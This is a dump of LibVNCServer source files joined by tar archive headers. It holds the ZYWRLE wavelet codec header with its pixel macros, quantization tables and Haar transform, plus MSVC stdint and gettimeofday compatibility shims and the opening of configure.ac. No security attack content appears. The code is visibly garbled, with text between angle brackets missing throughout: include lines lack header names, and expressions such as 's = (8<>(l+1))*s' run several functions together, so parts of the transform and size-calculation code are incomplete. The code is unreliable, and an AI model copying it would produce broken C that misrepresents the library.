COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ********************************************************************/ /* Change Log: V0.02 : 2008/02/04 : Fix mis encode/decode when width != scanline (Thanks Johannes Schindelin, author of LibVNC Server/Client) V0.01 : 2007/02/06 : Initial release */ /* #define ZYWRLE_ENCODE */ /* #define ZYWRLE_DECODE */ #define ZYWRLE_QUANTIZE /* [References] PLHarr: Senecal, J. G., P. Lindstrom, M. A. Duchaineau, and K. I. Joy, "An Improved N-Bit to N-Bit Reversible Haar-Like Transform," Pacific Graphics 2004, October 2004, pp. 371-380. EZW: Shapiro, JM: Embedded Image Coding Using Zerotrees of Wavelet Coefficients, IEEE Trans. Signal. Process., Vol.41, pp.3445-3462 (1993). */ /* Template Macro stuffs. */ #undef ZYWRLE_ANALYZE #undef ZYWRLE_SYNTHESIZE #define ZYWRLE_ANALYZE __RFB_CONCAT3E(zywrleAnalyze,BPP,END_FIX) #define ZYWRLE_SYNTHESIZE __RFB_CONCAT3E(zywrleSynthesize,BPP,END_FIX) #define ZYWRLE_RGBYUV __RFB_CONCAT3E(zywrleRGBYUV,BPP,END_FIX) #define ZYWRLE_YUVRGB __RFB_CONCAT3E(zywrleYUVRGB,BPP,END_FIX) #define ZYWRLE_YMASK __RFB_CONCAT2E(ZYWRLE_YMASK,BPP) #define ZYWRLE_UVMASK __RFB_CONCAT2E(ZYWRLE_UVMASK,BPP) #define ZYWRLE_LOAD_PIXEL __RFB_CONCAT2E(ZYWRLE_LOAD_PIXEL,BPP) #define ZYWRLE_SAVE_PIXEL __RFB_CONCAT2E(ZYWRLE_SAVE_PIXEL,BPP) /* Packing/Unpacking pixel stuffs. Endian conversion stuffs. */ #undef S_0 #undef S_1 #undef L_0 #undef L_1 #undef L_2 #if ZYWRLE_ENDIAN == ENDIAN_BIG # define S_0 1 # define S_1 0 # define L_0 3 # define L_1 2 # define L_2 1 #else # define S_0 0 # define S_1 1 # define L_0 0 # define L_1 1 # define L_2 2 #endif /* Load/Save pixel stuffs. */ #define ZYWRLE_YMASK15 0xFFFFFFF8 #define ZYWRLE_UVMASK15 0xFFFFFFF8 #define ZYWRLE_LOAD_PIXEL15(pSrc,R,G,B) { \ R = (((unsigned char*)pSrc)[S_1]<< 1)& 0xF8; \ G = ((((unsigned char*)pSrc)[S_1]<< 6)|(((unsigned char*)pSrc)[S_0]>> 2))& 0xF8; \ B = (((unsigned char*)pSrc)[S_0]<< 3)& 0xF8; \ } #define ZYWRLE_SAVE_PIXEL15(pDst,R,G,B) { \ R &= 0xF8; \ G &= 0xF8; \ B &= 0xF8; \ ((unsigned char*)pDst)[S_1] = (unsigned char)( (R>>1)|(G>>6) ); \ ((unsigned char*)pDst)[S_0] = (unsigned char)(((B>>3)|(G<<2))& 0xFF); \ } #define ZYWRLE_YMASK16 0xFFFFFFFC #define ZYWRLE_UVMASK16 0xFFFFFFF8 #define ZYWRLE_LOAD_PIXEL16(pSrc,R,G,B) { \ R = ((unsigned char*)pSrc)[S_1] & 0xF8; \ G = ((((unsigned char*)pSrc)[S_1]<< 5)|(((unsigned char*)pSrc)[S_0]>> 3))& 0xFC; \ B = (((unsigned char*)pSrc)[S_0]<< 3)& 0xF8; \ } #define ZYWRLE_SAVE_PIXEL16(pDst,R,G,B) { \ R &= 0xF8; \ G &= 0xFC; \ B &= 0xF8; \ ((unsigned char*)pDst)[S_1] = (unsigned char)( R |(G>>5) ); \ ((unsigned char*)pDst)[S_0] = (unsigned char)(((B>>3)|(G<<3))& 0xFF); \ } #define ZYWRLE_YMASK32 0xFFFFFFFF #define ZYWRLE_UVMASK32 0xFFFFFFFF #define ZYWRLE_LOAD_PIXEL32(pSrc,R,G,B) { \ R = ((unsigned char*)pSrc)[L_2]; \ G = ((unsigned char*)pSrc)[L_1]; \ B = ((unsigned char*)pSrc)[L_0]; \ } #define ZYWRLE_SAVE_PIXEL32(pDst,R,G,B) { \ ((unsigned char*)pDst)[L_2] = (unsigned char)R; \ ((unsigned char*)pDst)[L_1] = (unsigned char)G; \ ((unsigned char*)pDst)[L_0] = (unsigned char)B; \ } #ifndef ZYWRLE_ONCE #define ZYWRLE_ONCE #ifdef WIN32 #define InlineX __inline #else # ifndef __STRICT_ANSI__ # define InlineX inline # else # define InlineX # endif #endif #ifdef ZYWRLE_ENCODE /* Tables for Coefficients filtering. */ # ifndef ZYWRLE_QUANTIZE /* Type A:lower bit omitting of EZW style. */ const static unsigned int zywrleParam[3][3]={ {0x0000F000,0x00000000,0x00000000}, {0x0000C000,0x00F0F0F0,0x00000000}, {0x0000C000,0x00C0C0C0,0x00F0F0F0}, /* {0x0000FF00,0x00000000,0x00000000}, {0x0000FF00,0x00FFFFFF,0x00000000}, {0x0000FF00,0x00FFFFFF,0x00FFFFFF}, */ }; # else /* Type B:Non liner quantization filter. */ static const signed char zywrleConv[4][256]={ { /* bi=5, bo=5 r=0.0:PSNR=24.849 */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }, { /* bi=5, bo=5 r=2.0:PSNR=74.031 */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 56, 56, 56, 56, 56, 56, 56, 56, 56, 64, 64, 64, 64, 64, 64, 64, 64, 72, 72, 72, 72, 72, 72, 72, 72, 80, 80, 80, 80, 80, 80, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 96, 96, 96, 96, 96, 104, 104, 104, 104, 104, 104, 104, 104, 104, 104, 112, 112, 112, 112, 112, 112, 112, 112, 112, 120, 120, 120, 120, 120, 120, 120, 120, 120, 120, 0, -120, -120, -120, -120, -120, -120, -120, -120, -120, -120, -112, -112, -112, -112, -112, -112, -112, -112, -112, -104, -104, -104, -104, -104, -104, -104, -104, -104, -104, -96, -96, -96, -96, -96, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -80, -80, -80, -80, -80, -80, -72, -72, -72, -72, -72, -72, -72, -72, -64, -64, -64, -64, -64, -64, -64, -64, -56, -56, -56, -56, -56, -56, -56, -56, -56, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -32, -32, -32, -32, -32, -32, -32, -32, -32, -32, -32, -32, -32, -32, -32, -32, -32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }, { /* bi=5, bo=4 r=2.0:PSNR=64.441 */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 80, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 104, 104, 104, 104, 104, 104, 104, 104, 104, 104, 104, 112, 112, 112, 112, 112, 112, 112, 112, 112, 120, 120, 120, 120, 120, 120, 120, 120, 120, 120, 120, 120, 0, -120, -120, -120, -120, -120, -120, -120, -120, -120, -120, -120, -120, -112, -112, -112, -112, -112, -112, -112, -112, -112, -104, -104, -104, -104, -104, -104, -104, -104, -104, -104, -104, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -80, -80, -80, -80, -80, -80, -80, -80, -80, -80, -80, -80, -80, -64, -64, -64, -64, -64, -64, -64, -64, -64, -64, -64, -64, -64, -64, -64, -64, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, -48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }, { /* bi=5, bo=2 r=2.0:PSNR=43.175 */ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 88, 0, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, -88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, } }; const static signed char* zywrleParam[3][3][3]={ {{zywrleConv[0],zywrleConv[2],zywrleConv[0]},{zywrleConv[0],zywrleConv[0],zywrleConv[0]},{zywrleConv[0],zywrleConv[0],zywrleConv[0]}}, {{zywrleConv[0],zywrleConv[3],zywrleConv[0]},{zywrleConv[1],zywrleConv[1],zywrleConv[1]},{zywrleConv[0],zywrleConv[0],zywrleConv[0]}}, {{zywrleConv[0],zywrleConv[3],zywrleConv[0]},{zywrleConv[2],zywrleConv[2],zywrleConv[2]},{zywrleConv[1],zywrleConv[1],zywrleConv[1]}}, }; # endif #endif static InlineX void Harr(signed char* pX0, signed char* pX1) { /* Piecewise-Linear Harr(PLHarr) */ int X0 = (int)*pX0, X1 = (int)*pX1; int orgX0 = X0, orgX1 = X1; if ((X0 ^ X1) & 0x80) { /* differ sign */ X1 += X0; if (((X1^orgX1)&0x80)==0) { /* |X1| > |X0| */ X0 -= X1; /* H = -B */ } } else { /* same sign */ X0 -= X1; if (((X0 ^ orgX0) & 0x80) == 0) { /* |X0| > |X1| */ X1 += X0; /* L = A */ } } *pX0 = (signed char)X1; *pX1 = (signed char)X0; } /* 1D-Wavelet transform. In coefficients array, the famous 'pyramid' decomposition is well used. 1D Model: |L0L0L0L0|L0L0L0L0|H0H0H0H0|H0H0H0H0| : level 0 |L1L1L1L1|H1H1H1H1|H0H0H0H0|H0H0H0H0| : level 1 But this method needs line buffer because H/L is different position from X0/X1. So, I used 'interleave' decomposition instead of it. 1D Model: |L0H0L0H0|L0H0L0H0|L0H0L0H0|L0H0L0H0| : level 0 |L1H0H1H0|L1H0H1H0|L1H0H1H0|L1H0H1H0| : level 1 In this method, H/L and X0/X1 is always same position. This lead us to more speed and less memory. Of cause, the result of both method is quite same because its only difference is that coefficient position. */ static InlineX void WaveletLevel(int* data, int size, int l, int SkipPixel) { int s, ofs; signed char* pX0; signed char* end; pX0 = (signed char*)data; s = (8<>(l+1))*s; s -= 2; ofs = (4<>1; if (r & 0x02) pH += (s>>1)*width; for (y = 0; y < height / s; y++) { for (x = 0; x < width / s; x++) { /* these are same following code. pH[x] = pH[x] / (~pM[x]+1) * (~pM[x]+1); ( round pH[x] with pM[x] bit ) '&' operator isn't 'round' but is 'floor'. So, we must offset when pH[x] is negative. */ if (((signed char*)pH)[0] & 0x80) ((signed char*)pH)[0] += ~((signed char*)pM)[0]; if (((signed char*)pH)[1] & 0x80) ((signed char*)pH)[1] += ~((signed char*)pM)[1]; if (((signed char*)pH)[2] & 0x80) ((signed char*)pH)[2] += ~((signed char*)pM)[2]; *pH &= *pM; pH += s; } pH += (s-1)*width; } } } # else /* Type B:Non liner quantization filter. Coefficients have Gaussian curve and smaller value which is large part of coefficients isn't more important than larger value. So, I use filter of Non liner quantize/dequantize table. In general, Non liner quantize formula is explained as following. y=f(x) = sign(x)*round( ((abs(x)/(2^7))^ r )* 2^(bo-1) )*2^(8-bo) x=f-1(y) = sign(y)*round( ((abs(y)/(2^7))^(1/r))* 2^(bi-1) )*2^(8-bi) ( r:power coefficient bi:effective MSB in input bo:effective MSB in output ) r < 1.0 : Smaller value is more important than larger value. r > 1.0 : Larger value is more important than smaller value. r = 1.0 : Liner quantization which is same with EZW style. r = 0.75 is famous non liner quantization used in MP3 audio codec. In contrast to audio data, larger value is important in wavelet coefficients. So, I select r = 2.0 table( quantize is x^2, dequantize sqrt(x) ). As compared with EZW style liner quantization, this filter tended to be more sharp edge and be more compression rate but be more blocking noise and be less quality. Especially, the surface of graphic objects has distinguishable noise in middle quality mode. We need only quantized-dequantized(filtered) value rather than quantized value itself because all values are packed or palette-lized in later ZRLE section. This lead us not to need to modify client decoder when we change the filtering procedure in future. Client only decodes coefficients given by encoder. */ static InlineX void FilterWaveletSquare(int* pBuf, int width, int height, int level, int l) { int r, s; int x, y; int* pH; const signed char** pM; pM = zywrleParam[level-1][l]; s = 2<>1; if (r & 0x02) pH += (s>>1)*width; for (y = 0; y < height / s; y++) { for (x = 0; x < width / s; x++) { ((signed char*)pH)[0] = pM[0][((unsigned char*)pH)[0]]; ((signed char*)pH)[1] = pM[1][((unsigned char*)pH)[1]]; ((signed char*)pH)[2] = pM[2][((unsigned char*)pH)[2]]; pH += s; } pH += (s-1)*width; } } } # endif static InlineX void Wavelet(int* pBuf, int width, int height, int level) { int l, s; int* pTop; int* pEnd; for (l = 0; l < level; l++) { pTop = pBuf; pEnd = pBuf+height*width; s = width<= 0; l--) { pTop = pBuf; pEnd = pBuf+width; s = 1< YUV conversion stuffs. YUV coversion is explained as following formula in strict meaning: Y = 0.299R + 0.587G + 0.114B ( 0<=Y<=255) U = -0.169R - 0.331G + 0.500B (-128<=U<=127) V = 0.500R - 0.419G - 0.081B (-128<=V<=127) I use simple conversion RCT(reversible color transform) which is described in JPEG-2000 specification. Y = (R + 2G + B)/4 ( 0<=Y<=255) U = B-G (-256<=U<=255) V = R-G (-256<=V<=255) */ #define ROUND(x) (((x)<0)?0:(((x)>255)?255:(x))) /* RCT is N-bit RGB to N-bit Y and N+1-bit UV. For make Same N-bit, UV is lossy. More exact PLHarr, we reduce to odd range(-127<=x<=127). */ #define ZYWRLE_RGBYUV1(R,G,B,Y,U,V,ymask,uvmask) { \ Y = (R+(G<<1)+B)>>2; \ U = B-G; \ V = R-G; \ Y -= 128; \ U >>= 1; \ V >>= 1; \ Y &= ymask; \ U &= uvmask; \ V &= uvmask; \ if (Y == -128) \ Y += (0xFFFFFFFF-ymask+1); \ if (U == -128) \ U += (0xFFFFFFFF-uvmask+1); \ if (V == -128) \ V += (0xFFFFFFFF-uvmask+1); \ } #define ZYWRLE_YUVRGB1(R,G,B,Y,U,V) { \ Y += 128; \ U <<= 1; \ V <<= 1; \ G = Y-((U+V)>>2); \ B = U+G; \ R = V+G; \ G = ROUND(G); \ B = ROUND(B); \ R = ROUND(R); \ } /* coefficient packing/unpacking stuffs. Wavelet transform makes 4 sub coefficient image from 1 original image. model with pyramid decomposition: +------+------+ | | | | L | Hx | | | | +------+------+ | | | | H | Hxy | | | | +------+------+ So, we must transfer each sub images individually in strict meaning. But at least ZRLE meaning, following one decompositon image is same as avobe individual sub image. I use this format. (Strictly saying, transfer order is reverse(Hxy->Hy->Hx->L) for simplified procedure for any wavelet level.) +------+------+ | L | +------+------+ | Hx | +------+------+ | Hy | +------+------+ | Hxy | +------+------+ */ #define INC_PTR(data) \ data++; \ if( data-pData >= (w+uw) ){ \ data += scanline-(w+uw); \ pData = data; \ } #define ZYWRLE_TRANSFER_COEFF(pBuf,data,r,w,h,scanline,level,TRANS) \ pH = pBuf; \ s = 2<>1; \ if (r & 0x02) \ pH += (s>>1)*w; \ pEnd = pH+h*w; \ while (pH < pEnd) { \ pLine = pH+w; \ while (pH < pLine) { \ TRANS \ INC_PTR(data) \ pH += s; \ } \ pH += (s-1)*w; \ } #define ZYWRLE_PACK_COEFF(pBuf,data,r,width,height,scanline,level) \ ZYWRLE_TRANSFER_COEFF(pBuf,data,r,width,height,scanline,level,ZYWRLE_LOAD_COEFF(pH,R,G,B);ZYWRLE_SAVE_PIXEL(data,R,G,B);) #define ZYWRLE_UNPACK_COEFF(pBuf,data,r,width,height,scanline,level) \ ZYWRLE_TRANSFER_COEFF(pBuf,data,r,width,height,scanline,level,ZYWRLE_LOAD_PIXEL(data,R,G,B);ZYWRLE_SAVE_COEFF(pH,R,G,B);) #define ZYWRLE_SAVE_UNALIGN(data,TRANS) \ pTop = pBuf+w*h; \ pEnd = pBuf + (w+uw)*(h+uh); \ while (pTop < pEnd) { \ TRANS \ INC_PTR(data) \ pTop++; \ } #define ZYWRLE_LOAD_UNALIGN(data,TRANS) \ pTop = pBuf+w*h; \ if (uw) { \ pData= data + w; \ pEnd = (int*)(pData+ h*scanline); \ while (pData < (PIXEL_T*)pEnd) { \ pLine = (int*)(pData + uw); \ while (pData < (PIXEL_T*)pLine) { \ TRANS \ pData++; \ pTop++; \ } \ pData += scanline-uw; \ } \ } \ if (uh) { \ pData= data + h*scanline; \ pEnd = (int*)(pData+ uh*scanline); \ while (pData < (PIXEL_T*)pEnd) { \ pLine = (int*)(pData + w); \ while (pData < (PIXEL_T*)pLine) { \ TRANS \ pData++; \ pTop++; \ } \ pData += scanline-w; \ } \ } \ if (uw && uh) { \ pData= data + w+ h*scanline; \ pEnd = (int*)(pData+ uh*scanline); \ while (pData < (PIXEL_T*)pEnd) { \ pLine = (int*)(pData + uw); \ while (pData < (PIXEL_T*)pLine) { \ TRANS \ pData++; \ pTop++; \ } \ pData += scanline-uw; \ } \ } static InlineX void zywrleCalcSize(int* pW, int* pH, int level) { *pW &= ~((1< 1000 #pragma once #endif #include // For Visual Studio 6 in C++ mode and for many Visual Studio versions when // compiling for ARM we should wrap include with 'extern "C++" {}' // or compiler give many errors like this: // error C2733: second C linkage of overloaded function 'wmemchr' not allowed #ifdef __cplusplus extern "C" { #endif # include #ifdef __cplusplus } #endif // Define _W64 macros to mark types changing their size, like intptr_t. #ifndef _W64 # if !defined(__midl) && (defined(_X86_) || defined(_M_IX86)) && _MSC_VER >= 1300 # define _W64 __w64 # else # define _W64 # endif #endif // 7.18.1 Integer types // 7.18.1.1 Exact-width integer types // Visual Studio 6 and Embedded Visual C++ 4 doesn't // realize that, e.g. char has the same size as __int8 // so we give up on __intX for them. #if (_MSC_VER < 1300) typedef char int8_t; typedef short int16_t; typedef int int32_t; typedef unsigned char uint8_t; typedef unsigned short uint16_t; typedef unsigned int uint32_t; #else typedef __int8 int8_t; typedef __int16 int16_t; typedef __int32 int32_t; typedef unsigned __int8 uint8_t; typedef unsigned __int16 uint16_t; typedef unsigned __int32 uint32_t; #endif typedef __int64 int64_t; typedef unsigned __int64 uint64_t; // 7.18.1.2 Minimum-width integer types typedef int8_t int_least8_t; typedef int16_t int_least16_t; typedef int32_t int_least32_t; typedef int64_t int_least64_t; typedef uint8_t uint_least8_t; typedef uint16_t uint_least16_t; typedef uint32_t uint_least32_t; typedef uint64_t uint_least64_t; // 7.18.1.3 Fastest minimum-width integer types typedef int8_t int_fast8_t; typedef int16_t int_fast16_t; typedef int32_t int_fast32_t; typedef int64_t int_fast64_t; typedef uint8_t uint_fast8_t; typedef uint16_t uint_fast16_t; typedef uint32_t uint_fast32_t; typedef uint64_t uint_fast64_t; // 7.18.1.4 Integer types capable of holding object pointers #ifdef _WIN64 // [ typedef __int64 intptr_t; typedef unsigned __int64 uintptr_t; #else // _WIN64 ][ typedef _W64 int intptr_t; typedef _W64 unsigned int uintptr_t; #endif // _WIN64 ] // 7.18.1.5 Greatest-width integer types typedef int64_t intmax_t; typedef uint64_t uintmax_t; // 7.18.2 Limits of specified-width integer types #if !defined(__cplusplus) || defined(__STDC_LIMIT_MACROS) // [ See footnote 220 at page 257 and footnote 221 at page 259 // 7.18.2.1 Limits of exact-width integer types #define INT8_MIN ((int8_t)_I8_MIN) #define INT8_MAX _I8_MAX #define INT16_MIN ((int16_t)_I16_MIN) #define INT16_MAX _I16_MAX #define INT32_MIN ((int32_t)_I32_MIN) #define INT32_MAX _I32_MAX #define INT64_MIN ((int64_t)_I64_MIN) #define INT64_MAX _I64_MAX #define UINT8_MAX _UI8_MAX #define UINT16_MAX _UI16_MAX #define UINT32_MAX _UI32_MAX #define UINT64_MAX _UI64_MAX // 7.18.2.2 Limits of minimum-width integer types #define INT_LEAST8_MIN INT8_MIN #define INT_LEAST8_MAX INT8_MAX #define INT_LEAST16_MIN INT16_MIN #define INT_LEAST16_MAX INT16_MAX #define INT_LEAST32_MIN INT32_MIN #define INT_LEAST32_MAX INT32_MAX #define INT_LEAST64_MIN INT64_MIN #define INT_LEAST64_MAX INT64_MAX #define UINT_LEAST8_MAX UINT8_MAX #define UINT_LEAST16_MAX UINT16_MAX #define UINT_LEAST32_MAX UINT32_MAX #define UINT_LEAST64_MAX UINT64_MAX // 7.18.2.3 Limits of fastest minimum-width integer types #define INT_FAST8_MIN INT8_MIN #define INT_FAST8_MAX INT8_MAX #define INT_FAST16_MIN INT16_MIN #define INT_FAST16_MAX INT16_MAX #define INT_FAST32_MIN INT32_MIN #define INT_FAST32_MAX INT32_MAX #define INT_FAST64_MIN INT64_MIN #define INT_FAST64_MAX INT64_MAX #define UINT_FAST8_MAX UINT8_MAX #define UINT_FAST16_MAX UINT16_MAX #define UINT_FAST32_MAX UINT32_MAX #define UINT_FAST64_MAX UINT64_MAX // 7.18.2.4 Limits of integer types capable of holding object pointers #ifdef _WIN64 // [ # define INTPTR_MIN INT64_MIN # define INTPTR_MAX INT64_MAX # define UINTPTR_MAX UINT64_MAX #else // _WIN64 ][ # define INTPTR_MIN INT32_MIN # define INTPTR_MAX INT32_MAX # define UINTPTR_MAX UINT32_MAX #endif // _WIN64 ] // 7.18.2.5 Limits of greatest-width integer types #define INTMAX_MIN INT64_MIN #define INTMAX_MAX INT64_MAX #define UINTMAX_MAX UINT64_MAX // 7.18.3 Limits of other integer types #ifdef _WIN64 // [ # define PTRDIFF_MIN _I64_MIN # define PTRDIFF_MAX _I64_MAX #else // _WIN64 ][ # define PTRDIFF_MIN _I32_MIN # define PTRDIFF_MAX _I32_MAX #endif // _WIN64 ] #define SIG_ATOMIC_MIN INT_MIN #define SIG_ATOMIC_MAX INT_MAX #ifndef SIZE_MAX // [ # ifdef _WIN64 // [ # define SIZE_MAX _UI64_MAX # else // _WIN64 ][ # define SIZE_MAX _UI32_MAX # endif // _WIN64 ] #endif // SIZE_MAX ] // WCHAR_MIN and WCHAR_MAX are also defined in #ifndef WCHAR_MIN // [ # define WCHAR_MIN 0 #endif // WCHAR_MIN ] #ifndef WCHAR_MAX // [ # define WCHAR_MAX _UI16_MAX #endif // WCHAR_MAX ] #define WINT_MIN 0 #define WINT_MAX _UI16_MAX #endif // __STDC_LIMIT_MACROS ] // 7.18.4 Limits of other integer types #if !defined(__cplusplus) || defined(__STDC_CONSTANT_MACROS) // [ See footnote 224 at page 260 // 7.18.4.1 Macros for minimum-width integer constants #define INT8_C(val) val##i8 #define INT16_C(val) val##i16 #define INT32_C(val) val##i32 #define INT64_C(val) val##i64 #define UINT8_C(val) val##ui8 #define UINT16_C(val) val##ui16 #define UINT32_C(val) val##ui32 #define UINT64_C(val) val##ui64 // 7.18.4.2 Macros for greatest-width integer constants #define INTMAX_C INT64_C #define UINTMAX_C UINT64_C #endif // __STDC_CONSTANT_MACROS ] #endif // _MSC_STDINT_H_ ] libvncserver-LibVNCServer-0.9.11/compat/msvc/sys/000077500000000000000000000000001303145525000216175ustar00rootroot00000000000000libvncserver-LibVNCServer-0.9.11/compat/msvc/sys/time.h000066400000000000000000000023521303145525000227300ustar00rootroot00000000000000#pragma once //http://social.msdn.microsoft.com/Forums/en/vcgeneral/thread/430449b3-f6dd-4e18-84de-eebd26a8d668 #include #include #if defined(_MSC_VER) || defined(_MSC_EXTENSIONS) #define DELTA_EPOCH_IN_MICROSECS 11644473600000000Ui64 #else #define DELTA_EPOCH_IN_MICROSECS 11644473600000000ULL #endif struct timespec { time_t tv_sec; /* Seconds since 00:00:00 GMT, */ /* 1 January 1970 */ long tv_nsec; /* Additional nanoseconds since */ /* tv_sec */ }; struct timezone { int tz_minuteswest; /* minutes W of Greenwich */ int tz_dsttime; /* type of dst correction */ }; static __inline int gettimeofday(struct timeval *tv, struct timezone *tz) { FILETIME ft; unsigned __int64 tmpres = 0; static int tzflag; if (NULL != tv) { GetSystemTimeAsFileTime(&ft); tmpres |= ft.dwHighDateTime; tmpres <<= 32; tmpres |= ft.dwLowDateTime; /*converting file time to unix epoch*/ tmpres -= DELTA_EPOCH_IN_MICROSECS; tv->tv_sec = (long)(tmpres / 1000000UL); tv->tv_usec = (long)(tmpres % 1000000UL); } if (NULL != tz) { if (!tzflag) { _tzset(); tzflag++; } tz->tz_minuteswest = _timezone / 60; tz->tz_dsttime = _daylight; } return 0; }libvncserver-LibVNCServer-0.9.11/compat/msvc/unistd.h000066400000000000000000000000431303145525000224550ustar00rootroot00000000000000#pragma once #include libvncserver-LibVNCServer-0.9.11/configure.ac000066400000000000000000000454421303145525000210450ustar00rootroot00000000000000# Process this file with autoconf to produce a configure script. AC_INIT(LibVNCServer, 0.9.11, https://github.com/LibVNC/libvncserver) AM_INIT_AUTOMAKE([subdir-objects]) m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES([yes])]) AM_CONFIG_HEADER(rfbconfig.h) AX_PREFIX_CONFIG_H([rfb/rfbconfig.h]) AC_CONFIG_MACRO_DIR([m4]) # set detailed version info AC_DEFINE(VERSION_MAJOR, 0, LibVNCServer major version) AC_DEFINE(VERSION_MINOR, 9, LibVNCServer minor version) AC_DEFINE(VERSION_PATCHLEVEL, 11, LibVNCServer patchlevel) # Checks for programs. AC_PROG_CC AM_PROG_CC_C_O if test -z "$CC"; then CCLD="\$(CC)" else CCLD="$CC" fi test "x$GCC" = "xyes" && CFLAGS="$CFLAGS -Wall" AC_PROG_MAKE_SET AC_LIBTOOL_WIN32_DLL AC_PROG_LIBTOOL AC_CHECK_TOOL([AR], [ar], [/usr/bin/ar], [$PATH:/usr/ccs/bin]) # Options AH_TEMPLATE(WITH_TIGHTVNC_FILETRANSFER, [Disable TightVNCFileTransfer protocol]) AC_ARG_WITH(tightvnc-filetransfer, [ --without-tightvnc-filetransfer disable TightVNC file transfer protocol], , [ with_tightvnc_filetransfer=yes ]) # AC_DEFINE moved to after libpthread check. # WebSockets support AC_CHECK_FUNC(__b64_ntop, HAVE_B64_IN_LIBC="true", HAVE_B64_IN_LIBC="false") if test "x$HAVE_B64_IN_LIBC" != "xtrue"; then AC_CHECK_LIB(resolv, __b64_ntop, 